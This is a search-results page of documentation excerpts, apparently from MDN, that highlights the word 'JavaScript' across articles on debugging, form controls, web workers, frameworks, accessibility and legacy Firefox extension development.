...cribed here will make you a more confident web developer and debugger. Venkman is both a graphic and a console debugger. Features such as breakpoint management, call stack inspection, and variable/object inspection are available from the user interface and from console commands, letting you work in the way you are most accustomed to. The interactive console also allows for execution of arbitrary
JavaScript code. Venkman's keyboard shortcuts are the same as leading visual debugging environments, and gdb users should be familiar with Venkman's /break, /step, /next, /finish, /frame, and /where commands. On Windows, the
JavaScript debugger compares favorably with Visual Interdev and other large web development tools. On other platforms, including Mac OS and Unix, it is alone in offering this degree of...
... gdb users should be familiar with Venkman's /break, /step, /next, /finish, /frame, and /where commands. On Windows, the
JavaScript debugger compares favorably with Visual Interdev and other large web development tools. On other platforms, including Mac OS and Unix, it is alone in offering this degree of flexibility, depth, and power in a visual debugging environment. Starting the Debugger The
JavaScript Debugger is automatically pre-installed in Mozilla 1.x but must be installed separately in Firefox and other Gecko-based products, such as Thunderbird and Netscape 7.x. Fortunately, the XPInstall technology makes it possible to install new application modules in Firefox by just clicking a hyperlink. If you don't already have Venkman or would like to upgrade, you can easily get the latest version...
...And 14 more matches
Adobe Flash - Archive of obsolete content
The focus of this article is to present tips on scripting Flash within Gecko(TM)-based web browsers. ...
...The focus of this article is to present tips on scripting Flash within Gecko(TM)-based web browsers. ...
...The focus of this article is to present tips on scripting Flash within Gecko(TM)-based web browsers. ...
...And 14 more matches
How to build custom form controls - Learn web development
we will discuss how to build a custom control. To that end, we will work with an example: rebuilding the <select> element. We will also discuss how, when, and whether building your own control makes sense, and what to consider when building a control is a requirement. Note: We'll focus on building the control, not on how to make the code generic and reusable; that would involve some non-trival
JavaScript code and DOM manipulation in an unknown context, and that is out of the scope of this article. Design, structure, and semantics Before building a custom control, you should start by figuring out exactly what you want. This will save you some precious time. In particular, it's important to clearly define all the states of your control. To do this, it's good to start with an existing control who...
...ontrol's basic functionality has been decided upon, it's time to start building it. The first step is to define its HTML structure and to give it some basic semantics. Here is what we need to rebuild a <select> element: <!-- This is our main container for our control. The tabindex attribute is what allows the user to focus the control. We'll see later that it's better to set it through
JavaScript. --> <div class="select" tabindex="0"> <!-- This container will be used to display the current value of the control --> <span class="value">Cherry</span> <!-- This container will contain all the options available for our control. Because it's a list, it makes sense to use the ul element. --> <ul class="optList"> <!-- Each option only contains the value to be displayed, we'll ...
...t with the form data --> <li class="option">Cherry</li> <li class="option">Lemon</li> <li class="option">Banana</li> <li class="option">Strawberry</li> <li class="option">Apple</li> </ul> </div> Note the use of class names; these identify each relevant part regardless of the actual underlying HTML elements used. This is important to make sure that we don't bind our CSS and
JavaScript to a strong HTML structure, so that we can make implementation changes later without breaking code that uses the control. For example, what if you wish to implement the equivalent of the <optgroup> element later on? Class names, however, provide no semantic value. In this current state, the screen reader user only "sees" an unordered list. We will add ARIA semantics in a bit. Creating the look ...
...And 14 more matches
Introduction to Web development - Developer guides
vers basic concepts and fundamentals CSS reference guide -- a complete guide to CSS with details on the level of Gecko/Firefox support for each. The W3C introduction to styling with CSS -- a brief guide to styling web pages for beginners. Common CSS questions -- common questions and answers for beginners Intermediate CSS concepts -- grouping, pseudo-classes and more. ...
...ide -- a complete guide to CSS with details on the level of Gecko/Firefox support for each. The W3C introduction to styling with CSS -- a brief guide to styling web pages for beginners. Common CSS questions -- common questions and answers for beginners Intermediate CSS concepts -- grouping, pseudo-classes and more. ...
...e to CSS with details on the level of Gecko/Firefox support for each. The W3C introduction to styling with CSS -- a brief guide to styling web pages for beginners. Common CSS questions -- common questions and answers for beginners Intermediate CSS concepts -- grouping, pseudo-classes and more. ...
...And 14 more matches
WebAssembly Concepts - WebAssembly
s for the web platform -- it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that previously couldn't have done so. What's more, you don't even have to know how to create WebAssembly code to take advantage of it. WebAssembly modules can be imported into a web (or Node.js) app, exposing WebAssembly functions for use via
JavaScript.
JavaScript frameworks could make use of WebAssembly to confer massive performance advantages and new features while still making functionality easily available to web developers. WebAssembly goals WebAssembly is being created as an open standard inside the W3C WebAssembly Community Group with the following goals: Be fast, efficient, and portable -- WebAssembly code can be executed at near-n...
...d debugged by hand. Keep secure -- WebAssembly is specified to be run in a safe, sandboxed execution environment. Like other web code, it will enforce the browser's same-origin and permissions policies. Don't break the web -- WebAssembly is designed so that it plays nicely with other web technologies and maintains backwards compatibility. Note: WebAssembly will also have uses outside web and
JavaScript environments (see Non-web embeddings). How does WebAssembly fit into the web platform? The web platform can be thought of as having two parts: A virtual machine (VM) that runs the Web app's code, e.g. the
JavaScript code that powers your apps. A set of Web APIs that the Web app can call to control web browser/device functionality and make things happen (DOM, CSSOM, WebGL, IndexedDB, Web Au...
... into the web platform? ...
...And 14 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
ntinuity, precision and control. This model is also interesting because is optimized to access contextual data instead reloading full web pages. This article discusses the concept of inner-browsing and possible approaches for its implementation. It also provides two implementation examples using the model. The first one looks like a traditional DHTML ticker application and uses hidden IFRAMES and
JavaScript to provide updates inside the webpage's ticker headlines section. This sample was made using IFRAMEs to illustrate a possible implementation. An implementation can also use other transport technologies such as SOAP-based remote procedure calls, XMLHTTPRequest interfaces, or DOM 3 Load. The second example shows a tabbed menu that dynamically loads news headlines into the current web page. This imp...
...in which developers format text layouts into pages and link those pages to related content, is analogous to a book or a magazine: readers view pages, go to other pages for more information, and view resources listed as references on that page. HTML and web standards have evolved and now offer flexible and fine-grained control to layout as well supporting DHTML, powerful programming languages like
JavaScript, and additional media through embeddable third-party resources like Flash, Java, VRML, etc. Additionally, server-side technologies have also evolved, supporting and connecting different resources to different browsers. Despite all the evolution, we still see the underpinnings of the original model in modern web sites. We still connect through a set of links that mostly drive us to a new page, and...
...ve a new page with the next block of message headers. On slow speed connections, this process can be slow and frustrating. With inner browsing, a simple request to retrieve the next set of message headers that replace the currently viewed message headers can dramatically improve user experience. Implementing Inner-browsing on Top of HTML Pages Modern browsers have good support for the W3C DOM and
JavaScript allowing fine-grained control over page content. Instead of forcing the reader to follow links to new pages, the
JavaScript code can act as the mediator for information access. If the user clicks on a link item, the script will be responsible to load the information from the data source and to apply that into the current document. There are basically two steps in this process: Data Load: Acquisit...
...And 13 more matches
Introduction to events - Learn web development
, if the user selects a button on a webpage, you might want to respond to that action by displaying an information box. In this article, we discuss some important concepts surrounding events, and look at how they work in browsers. This won't be an exhaustive study; just what you need to know at this stage. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps. Objective: To understand the fundamental theory of events, how they work in browsers, and how events may differ in different programming environments. A series of fortunate events As mentioned above, events are actions or occurrences that happen in the system you are programming -- the system produces (or "fires") a signal of some kind when an event occurs, and pr...
...hooses a key on the keyboard. The user resizes or closes the browser window. A web page finishes loading. A form is submitted. A video is played, paused, or finishes. An error occurs. You can gather from this (and from glancing at the MDN Event reference) that there are a lot of events that can be responded to. Each available event has an event handler, which is a block of code (usually a
JavaScript function that you as a programmer create) that runs when the event fires. When such a block of code is defined to run in response to an event, we say we are registering an event handler. Note: Event handlers are sometimes called event listeners -- they are pretty much interchangeable for our purposes, although strictly speaking, they work together. The listener listens out for the event happening...
...run in response to an event, we say we are registering an event handler. Note: Event handlers are sometimes called event listeners -- they are pretty much interchangeable for our purposes, although strictly speaking, they work together. The listener listens out for the event happening, and the handler is the code that is run in response to it happening. Note: Web events are not part of the core
JavaScript language -- they are defined as part of the APIs built into the browser. A simple example Let's look at a simple example of what we mean here. You've already seen events and event handlers used in many of the examples, but let's recap just to cement our knowledge. In the following example, we have a single <button>, which when pressed, makes the background change to a random color: <button>Ch...
...And 13 more matches
Introduction to web APIs - Learn web development
Overview: Client-side web APIs Next First up, we'll start by looking at APIs from a high level -- what are they, how do they work, how to use them in your code, and how are they structured? We'll also take a look at what the different main classes of APIs are, and what kind of uses they have. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript basics (see first steps, building blocks,
JavaScript objects). Objective: To gain familiarity with APIs, what they can do, and how you can use them in your code. What are APIs? Application Programming Interfaces (APIs) are constructs made available in programming languages to allow developers to create complex functionality more easily. They abstract more complex code away from you...
...u don't try to wire it directly into the power supply -- to do so would be really inefficient and, if you are not an electrician, difficult and dangerous to attempt. Image source: Overloaded plug socket by The Clear Communication People, on Flickr. ...
...Flickr. In the same way, if you want to say, program some 3D graphics, it is a lot easier to do it using an API written in a higher-level language such as
JavaScript or Python, rather than try to directly write low level code (say C or C++) that directly controls the computer's GPU or other graphics functions. Note: See also the API glossary entry for further description. APIs in client-side
JavaScript Client-side
JavaScript, in particular, has many APIs available to it -- these are not part of the
JavaScript language itself, rather they are built on top of the core
JavaScript language, providing you with extra superpowers to use in your
JavaScript code. They generally fall into two categories: Browser APIs are built into your web browser and are able to expose data from the browser and sur...
...And 13 more matches
Getting started with Svelte - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next In this article we'll provide a quick introduction to the Svelte framework. We will see how Svelte works and what sets it apart from the rest of the frameworks and tools we've seen so far. Then we will learn how to setup our development environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. ...
...evelopment environment, create a sample app, understand the structure of the project, and see how to run it locally and build it for production. Prerequisites: At minimum, it is recommended that you are familiar with the core HTML, CSS, and
JavaScript languages, and have knowledge of the terminal/command line. Svelte is a compiler that generates minimal and highly optimized
JavaScript code from our sources; you'll need a terminal with node + npm installed to compile and build your app. Objective: To setup a local Svelte development environment, create and build a starter app, and understand the basics of how it works. Svelte: A new approach to building rich user interfaces Svelte provides a different approach to building web apps than some of the other ...
...e: A new approach to building rich user interfaces Svelte provides a different approach to building web apps than some of the other frameworks covered in this module. While frameworks like React and Vue do the bulk of their work in the user's browser while the app is running, Svelte shifts that work into a compile step that happens only when you build your app, producing highly-optimized vanilla
JavaScript. The outcome of this approach is not only smaller application bundles and better performance, but also a developer experience that is more approachable for people that have limited experience of the modern tooling ecosystem. Svelte sticks closely to the classic web development model of HTML, CSS, and JS, just adding a few extensions to HTML and
JavaScript. It arguably has fewer concepts and too...
...And 13 more matches
Appendix D: Loading Scripts - Archive of obsolete content
Each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. Below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases. ...
...Each of these means has its own advantages and disadvantages, as well as its own quirks which may trap the unwary. Below is an overview of the more common means of loading scripts, along with some of their primary advantages, disadvantages, quirks, and use cases. ...
...ity: The simple, declarative nature of these tags make them easy to find and understand at a glance. Speed: Script tags may or may not be loaded from pre-compiled bytecode in the fastload cache (Gecko 1.x) or startup cache (Gecko 2), which means they don't necessarily need to read as source and compiled with each restart. Flexibility: Script tags provide a means to specify the character set and
JavaScript version of the scripts to be loaded, which many other methods do not. Debuggable: development tools support debugging
JavaScript loaded by script tags Disadvantages Scoping: Scripts loaded via script tags share the global scope with all other scripts loaded into the same window. These tags provide no means to load scripts into a private or otherwise specific scope. Speed: Even if these scr...
...And 12 more matches
Setting up an extension development environment - Archive of obsolete content
s.) You'll see the list of available user profiles one which is default (stable) and other (unstable) profile(s) created automatically when you run other versions of Firefox earlier. Choose default and uncheck "Don't ask at startup" checkbox. Click "Start Firefox". Now when you start any version of Firefox you may choose any profile you like. Development command flags As of Gecko 2 (Firefox 4),
JavaScript files are cached ("fastload"). The -purgecaches command-line flag disables this behavior. Alternatively, you can set the MOZ_PURGE_CACHES environment variable. See this bug for more information. Development preferences There is a set of development preferences that, when enabled, allows you to view more information about application activity, thus making debugging easier. However, these prefer...
...boolean) entries for them. For more information about Mozilla preferences, refer to the mozillaZine article on "about:config". Tip: You can install either the Developer Profile or DevPrefs add-ons to handle setting these preferences automatically, and skip the rest of this section. DevPrefs can now be found at https://github.com/Noitidart/DevPrefs. maxVersion needs to be set in install.rdf
javascript.options.showInConsole = true. Logs errors in chrome files to the Error Console. nglayout.debug.disable_xul_cache = true. Disables the XUL cache so that changes to windows and dialogs do not require a restart. This assumes you're using directories rather than JARs. Changes to XUL overlays will still require reloading of the document overlaid. browser.dom.window.dump.enabled = true. Enables the u...
...ndows and dialogs do not require a restart. This assumes you're using directories rather than JARs. Changes to XUL overlays will still require reloading of the document overlaid. browser.dom.window.dump.enabled = true. Enables the use of the dump() statement to print to the standard console. See window.dump for more info. You can use nsIConsoleService instead of dump() from a privileged script.
javascript.options.strict = true. Enables strict
JavaScript warnings in the Error Console. Note that since many people have this setting turned off when developing, you will see lots of warnings for problems with their code in addition to warnings for your own extension. You can filter those with Console2. devtools.chrome.enabled = true. This enables to run
JavaScript code snippets in the chrome context of...
...And 12 more matches
Processing XML with E4X - Archive of obsolete content
Warning: E4X is obselete. It's been disabled by default for chrome in Firefox 17, and completely removed in Firefox 21. Use DOMParser/DOMSerializer or a non-native JXON algorithm instead. First introduced in
JavaScript 1.6, E4X introduces a native XML object to the
JavaScript language, and adds syntax for embedding literal XML documents in
JavaScript code. A full definition of E4X can be found in the Ecma-357 specification. This chapter provides a practical overview of the language; it is not a complete reference. Compatibility issues Prior to widespread browser support for the <script> element, it was common for
JavaScript embedded in a page to be surrounded by HTML comment tags to prevent <script> unaware browsers from displaying
JavaScript code to the user. This practice is no l...
...Script embedded in a page to be surrounded by HTML comment tags to prevent <script> unaware browsers from displaying
JavaScript code to the user. This practice is no longer necessary, but remains in some legacy code. For backwards compatibility, E4X defaults to ignoring comments and CDATA sections. You can add an e4x=1 argument to your <script> tag to disable this restriction: <script type="text/
javascript;e4x=1"> ... </script> Creating an XML object E4X offers two principal ways of creating an XML object. The first is to pass a string to the XML constructor: var languages = new XML('<languages type="dynamic"><lang>
JavaScript</lang><lang>Python</lang></languages>'); The second is to embed the XML directly in your script, as an XML literal: var languages = <languages type="dynamic"> <lan...
...4x=1"> ... </script> Creating an XML object E4X offers two principal ways of creating an XML object. The first is to pass a string to the XML constructor: var languages = new XML('<languages type="dynamic"><lang>
JavaScript</lang><lang>Python</lang></languages>'); The second is to embed the XML directly in your script, as an XML literal: var languages = <languages type="dynamic"> <lang>
JavaScript</lang> <lang>Python</lang> </languages>; In both cases, the resulting object will be an E4X XML object, which provides convenient syntax for both accessing and updating the encapsulated data. While the XML object looks and behaves in a similar way to a regular
JavaScript object, the two are not the same thing. E4X introduces new syntax that only works with E4X XML objects. The syntax is de...
...And 12 more matches
Object prototypes - Learn web development
Previous Overview: Objects Next Prototypes are the mechanism by which
JavaScript objects inherit features from one another. In this article, we explain how prototype chains work and look at how the prototype property can be used to add methods to existing constructors. Note: This article covers traditional
JavaScript constructors and classes. In the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things -- see ECMAScript 2015 classes. Prerequisites: Understanding
JavaScript functions, familiarity with
JavaScript basics (see First steps and Building blocks), and OOJS basics (see Introduction to objects). ...
...tructors and classes. In the next article, we talk about the modern way of doing things, which provides easier syntax to achieve the same things -- see ECMAScript 2015 classes. Prerequisites: Understanding
JavaScript functions, familiarity with
JavaScript basics (see First steps and Building blocks), and OOJS basics (see Introduction to objects). Objective: To understand
JavaScript object prototypes, how prototype chains work, and how to add new methods onto the prototype property. A prototype-based language?
JavaScript is often described as a prototype-based language -- to provide inheritance, objects can have a prototype object, which acts as a template object that it inherits methods and properties from. An object's prototype object may also have a prototype obj...
...ce, objects can have a prototype object, which acts as a template object that it inherits methods and properties from. An object's prototype object may also have a prototype object, which it inherits methods and properties from, and so on. This is often referred to as a prototype chain, and explains why different objects have properties and methods defined on other objects available to them. In
JavaScript, a link is made between the object instance and its prototype (its __proto__ property, which is derived from the prototype property on the constructor), and the properties and methods are found by walking up the chain of prototypes. Note: It's important to understand that there is a distinction between an object's prototype (available via Object.getPrototypeOf(obj), or via the deprecated __prot...
...And 12 more matches
Implementing feature detection - Learn web development
depending on whether it does (or doesn't), so that the browser can always provide a working experience rather than crashing/erroring in some browsers. This article details how to write your own simple feature detection, how to use a library to speed up implementation, and native features for feature detection such as @supports. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high-level principles of cross-browser testing. Objective: To understand what the concept of feature detection is, and be able to implement suitable solutions in CSS and
JavaScript. The concept of feature detection The idea behind feature detection is that you can run a test to determine whether a feature is supported in the current browser, and then ...
...t browser, and then conditionally run code to provide an acceptable experience both in browsers that do support the feature, and browsers that don't. If you don't do this, browsers that don't support the features you are using in your code won't display your sites properly and will just fail, creating a bad user experience. Let's recap and look at the example we touched on in our Handling common
JavaScript problems -- the Geolocation API (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a geolocation property available on the global Navigator object. Therefore, you can detect whether the browser supports geolocation or not by using something like the following: if ("geolocation" in navigator) { navigator.geolocation.getCurr...
...o say one thing upfront -- don't confuse feature detection with browser sniffing (detecting what specific browser is accessing the site) -- this is a terrible practice that should be discouraged at all costs. See Using bad browser sniffing code for more details. Writing your own feature detection tests In this section, we'll look at implementing your own feature detection tests, in both CSS and
JavaScript. CSS You can write tests for CSS features by testing for the existence of element.style.property (e.g. paragraph.style.transform) in
JavaScript. A classic example might be to test for Flexbox support in a browser; for browsers that support the newest Flexbox spec, we could use a flexible and robust flex layout. For browsers that don't, we could use a floated layout that works OK, although it i...
...And 12 more matches
XPCOM changes in Gecko 2.0
w to update your code. No more frozen interfaces There are no longer any frozen interfaces; from now on, all interfaces are subject to change. Documentation will be updated as time allows to remove references to interfaces being "frozen" or "unfrozen." Component registration The way XPCOM components are registered changed in Gecko 2. Prior to Gecko 2, during component registration, all binary and
JavaScript component files were loaded and called, asking them to register themselves. If you used XPCOMUtils.jsm, some of this was hidden from you, but it was still there. Starting in Gecko 2, however, components are registered using manifest files, similarly to how chrome is registered. In fact, the same chrome manifest file will be used to register components. All existing XPCOM components will need to b...
... and you can actually support both types of registration for backward compatibility. Component manifests All component registration is now handled through manifest files. For extensions, this is the same chrome.manifest currently used to register chrome. XPT files The path of any XPT files must be listed explicitly in a manifest using an interfaces directive: interfaces components/mycomponent.xpt
JavaScript components The registration information for
JavaScript components is no longer located in the component itself; instead, it's located in the manifest. The component is loaded only when the XPCOM component manager needs to create a component. chrome.manifest: # The {classID} here must match the classID in mycomponent.js component {e6b866e3-41b2-4f05-a4d2-3d4bde0f7ef8} components/mycomponent.js con...
...n the manifest. The component is loaded only when the XPCOM component manager needs to create a component. ...
...And 12 more matches
Client-side form validation - Learn web development
to ensure all required form controls are filled out, in the correct format. This is called client-side form validation, and helps ensure data submitted matches the requirements set forth in the various form controls. This article leads you through basic concepts and examples of client-side form validation. Prerequisites: Computer literacy, a reasonable understanding of HTML, CSS, and
JavaScript. Objective: To understand what client-side form validation is, why it's important, and how to apply various techniques to implement it. Client-side validation is an initial check and an important feature of good user experience; by catching invalid data on the client-side, the user can fix it straight away. If it gets to the server and is then rejected, a noticeable delay is ca...
... malformed input on the client-side, a malicious user can still alter the network request. Different types of client-side validation There are two different types of client-side validation that you'll encounter on the web: Built-in form validation uses HTML5 form validation features, which we've discussed in many places throughout this module. This validation generally doesn't require much
JavaScript. Built-in form validation has better performance than
JavaScript, but it is not as customizable as
JavaScript validation.
JavaScript validation is coded using
JavaScript. This validation is completely customizable, but you need to create it all (or use a library). Using built-in form validation One of the most significant features of HTML5 form controls is the ability to validate most user da...
...This is done by using validation attributes on form elements. We've seen many of these earlier in the course, but to recap: required: Specifies whether a form field needs to be filled in before the form can be submitted. ...
...And 11 more matches
Framework main features - Learn web development
Previous Overview: Client-side
JavaScript frameworks Next Each major
JavaScript framework has a different approach to updating the DOM, handling browser events, and providing an enjoyable developer experience. This article will explore the main features of "the big 4" frameworks, looking at how frameworks tend to work from a high level, and the differences between them. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To understand the main code features of frameworks. Domain-specific languages All of the frameworks discussed in this module are powered by
JavaScript, and all allow you to use domain-specific languages (DSLs) in order to build your applications. In particular, React has popularized the use of JSX for wr...
...e of JSX for writing its components, while Ember utilizes Handlebars. Unlike HTML, these languages know how to read data variables, and this data can be used to streamline the process of writing your UI. Angular apps often make heavy use of TypeScript. TypeScript is not concerned with the writing of user interfaces, but it is a domain-specific language, and has significant differences to vanilla
JavaScript. DSLs can't be read by the browser directly; they must be transformed into
JavaScript or HTML first. Transformation is an extra step in the development process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will str...
...he development process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks. JSX JSX, which stands for
JavaScript and XML, is an extension of
JavaScript that brings HTML-like syntax to a
JavaScript environment. It was invented by the React team for use in React applications, but can be used to develop other applications -- like Vue apps, for instance. The following shows a simple JSX example: const subject = "World"; const header = ( <header> <h1>Hello, {subject}!</h1> </header> ); This expression...
...And 11 more matches
Performance best practices for Firefox front-end engineers
e which is as performant as possible--not just on its own, but in terms of its impact on other parts of Firefox. Always keep in mind the side effects your changes may have, from blocking other tasks, to interfering with other user interface elements. Avoid the main thread where possible The main thread is where we process user events and do painting. It's also important to note that most of our
JavaScript runs on the main thread, so it's easy for script to cause delays in event processing or painting. That means that the more code we can get off of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user. You might want to consider using a Worker if you need to do some computation that can be done off of the main thread. If you need more ele...
...y of this page from our friends at Google, which itself is well worth the read. For a very down-to-earth explanation of the Style, Layout, Paint and Composite steps of the pipeline, this Hacks blog post does a great job of explaining it. To achieve a 60 FPS frame rate, all of the above has to happen in 16 milliseconds or less, every frame. Note that requestAnimationFrame() lets you queue up
JavaScript to run right before the style flush occurs. This allows you to put all of your DOM writes (most importantly, anything that could change the size or position of things in the DOM) just before the style and layout steps of the pipeline, combining all the style and layout calculations into a single batch so it all happens once, in a single frame tick, instead of across multiple frames. See Detecting...
... not a good place to put queries for layout or style information. Detecting and avoiding synchronous style flushes What are style flushes? When CSS is applied to a document (HTML or XUL, it doesn't matter), the browser does calculations to figure out which CSS styles will apply to each element. This happens the first time the page loads and the CSS is initially applied, but can happen again if
JavaScript modifies the DOM.
JavaScript code might, for example, change DOM node attributes (either directly or by adding or removing classes from elements), and can also add, remove, or delete DOM nodes. Because styles are normally scoped to the entire document, the cost of doing these style calculations is proportional to the number of DOM nodes in the document (and the number of styles being applied). ...
...And 11 more matches
Rhino overview
Rhino 1.3 and greater conform to Edition 3 of the Standard. ...
...Rhino 1.3 and greater conform to Edition 3 of the Standard. ...
...Rhino 1.3 and greater conform to Edition 3 of the Standard. ...
...And 11 more matches
Language bindings
s exist to access these modules. Since the XPCOM layer itself is written in C/C++, its API can be accessed out-of-the-box using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required. The following bridging layers are currently available: Components objectThe Components object is the object through which XPConnect functionality is reflected into
JavaScript. ...
...x using C or C++. In order to allow any other language to use the XPCOM API, a bridging layer is required. The following bridging layers are currently available: Components objectThe Components object is the object through which XPConnect functionality is reflected into
JavaScript. ...
...ts object is actually a native instance of the nsIXPCComponents interface which is reflected into
JavaScript as a top level object using XPConnect.Components.classesComponents.classes is a read-only object whose properties are classes indexed by ContractID.Components.classesByIDComponents.classesByID is a read-only object whose properties are classes indexed by CID.Components.ConstructorCreates a
JavaScript function which can be used to create or construct new instances of XPCOM components.Components.ExceptionComponents.Exception is a
JavaScript constructor to create nsIXPCException objects. ...
...And 11 more matches
Debugger.Source - Firefox Developer Tools
Debugger.Source A Debugger.Source instance represents either a piece of
JavaScript source code or the serialized text of a block of WebAssembly code. The two cases are distinguished by the latter having its introductionType property always being "wasm" and the former having its introductionType property never being "wasm". Each Debugger instance has a separate collection of Debugger.Source instances representing the source code that has been presented to the system. A debugger may place its own properties on Debugger.Source instances, to store metadata about particular pieces of source code. ...
...e property always being "wasm" and the former having its introductionType property never being "wasm". Each Debugger instance has a separate collection of Debugger.Source instances representing the source code that has been presented to the system. A debugger may place its own properties on Debugger.Source instances, to store metadata about particular pieces of source code. Debugger.Source for
JavaScript For a Debugger.Source instance representing a piece of
JavaScript source code, its properties provide the source code itself as a string, and describe where it came from. Each Debugger.Script instance refers to the Debugger.Source instance holding the source code from which it was produced. If a single piece of source code contains both top-level code and function definitions, perhaps with nest...
...urce code contains both top-level code and function definitions, perhaps with nested functions, then the Debugger.Script instances for those all refer to the same Debugger.Source instance. Each script indicates the substring of the overall source to which it corresponds. A Debugger.Source instance may represent only a portion of a larger source document. For example, an HTML document can contain
JavaScript in multiple <script> elements and event handler content attributes. In this case, there may be either a single Debugger.Source instance for the entire HTML document, with each Debugger.Script referring to its substring of the document; or there may be a separate Debugger.Source instance for each <script> element and attribute. The choice is left up to the implementation. If a given piece of sour...
...And 11 more matches
Using Web Workers - Web APIs
Web Workers are a simple means for web content to run scripts in background threads. The worker thread can perform tasks without interfering with the user interface. In addition, they can perform I/O using XMLHttpRequest (although the responseXML and channel attributes are always null). Once created, a worker can send messages to the
JavaScript code that created it by posting messages to an event handler specified by that code (and vice versa). This article provides a detailed introduction to using web workers. Web Workers API A worker is an object created using a constructor (e.g. Worker()) that runs a named
JavaScript file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. Thus, using the window sho...
...awn new workers, as long as those workers are hosted within the same origin as the parent page. In addition, workers may use XMLHttpRequest for network I/O, with the exception that the responseXML and channel attributes on XMLHttpRequest always return null. Dedicated workers As mentioned above, a dedicated worker is only accessible by the script that called it. In this section we'll discuss the
JavaScript found in our Basic dedicated worker example (run dedicated worker): This allows you to enter two numbers to be multiplied together. The numbers are sent to a dedicated worker, multiplied together, and the result is returned to the page and displayed. This example is rather trivial, but we decided to keep it simple while introducing you to basic worker concepts. More advanced details are covered ...
... in any order, but will be executed in the order in which you pass the filenames into importScripts() . This is done synchronously; importScripts() does not return until all the scripts have been loaded and executed. Shared workers A shared worker is accessible by multiple scripts -- even if they are being accessed by different windows, iframes or even workers. In this section we'll discuss the
JavaScript found in our Basic shared worker example (run shared worker): This is very similar to the basic dedicated worker example, except that it has two functions available handled by different script files: multiplying two numbers, or squaring a number. Both scripts use the same worker to do the actual calculation required. Here we'll concentrate on the differences between dedicated and shared workers.
...And 11 more matches
WAI-ARIA basics - Learn web development
Previous Overview: Accessibility Next Following on from the previous article, sometimes making complex UI controls that involve unsemantic HTML and dynamic
JavaScript-updated content can be difficult. WAI-ARIA is a technology that can help with such problems by adding in further semantics that browsers and assistive technologies can recognize and use to let users know what is going on. Here we'll show how to use it at a basic level to improve accessiblity. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript, an understanding of the previous articles in the course. Objective: To gain familiarity with WAI-ARIA, and how it can be used to provide useful additional semantics to enhance accessibility where required. What is W...
... to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc. HTML5 provides special input types to render such controls: <input type="date"> <input type="range"> These are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs. As a result, developers quite often rely on
JavaScript libraries that generate such controls as a series of nested <div>s or table elements with classnames, which are then styled using CSS and controlled using
JavaScript. The problem here is that visually they work, but screenreaders can't make any sense of what they are at all, and their users just get told that they can see a jumble of elements with no semantics to describe what they mean. Enter ...
...ribute. You can see an example of this at Text alternatives. States -- Special properties that define the current conditions of elements, such as aria-disabled="true", which specifies to a screenreader that a form input is currently disabled. States differ from properties in that properties don't change throughout the lifecycle of an app, whereas states can change, generally programmatically via
JavaScript. An important point about WAI-ARIA attributes is that they don't affect anything about the web page, except for the information exposed by the browser's accessibility APIs (where screenreaders get their information from). WAI-ARIA doesn't affect webpage structure, the DOM, etc., although the attributes can be useful for selecting elements by CSS. Note: You can find a useful list of all the AR...
...And 10 more matches
Functions — reusable blocks of code - Learn web development
k inside a defined block, and then call that code whenever you need it using a single short command -- rather than having to type out the same code multiple times. In this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters. Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS,
JavaScript first steps. Objective: To understand the fundamental concepts behind
JavaScript functions. Where do I find functions? In
JavaScript, you'll find functions everywhere. In fact, we've been using functions all the way through the course so far; we've just not been talking about them very much. Now is the time, however, for us to start talking about functions explicitly, and real...
... Built-in browser functions We've made use of functions built in to the browser a lot in this course. ...
...function takes an array, joins // all the array items together into a single // string, and returns this new string Or every time we generated a random number: let myNumber = Math.random(); // the random() function generates a random number between // 0 and up to but not including 1, and returns that number ...we were using a function! ...
...And 10 more matches
Handling common accessibility problems - Learn web development
Previous Overview: Cross browser testing Next Next we turn our attention to accessibility, providing information on common problems, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages; an idea of the high level principles of cross browser testing. Objective: To be able to diagnose common Accessibility problems, and use appropriate tools and techniques to fix them. What is accessibility? When we say accessibility in the context of web technology, most people immediately think of making sure websites/apps are usable by people with disabilities, for example: Visually impaired people using screen readers or magnification/zoom...
...y pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused. You can then press Enter/Return to follow a focused link or press a button (we've included some
JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the <select> element can have its options displayed and cycled between using the up and down arrow keys). Note that different browsers may have different keyboard control options available. Most modern browsers follow the tab pattern described above (you c...
...ighlight each item on a webpage checkbox. Important: You should perform this kind of test on any new page you write -- make sure the functionality can be accessed by the keyboard. This example highlights the importance of using the correct semantic element for the correct job. It is possible to style any element to look like a link or button with CSS, and to behave like a link or button with
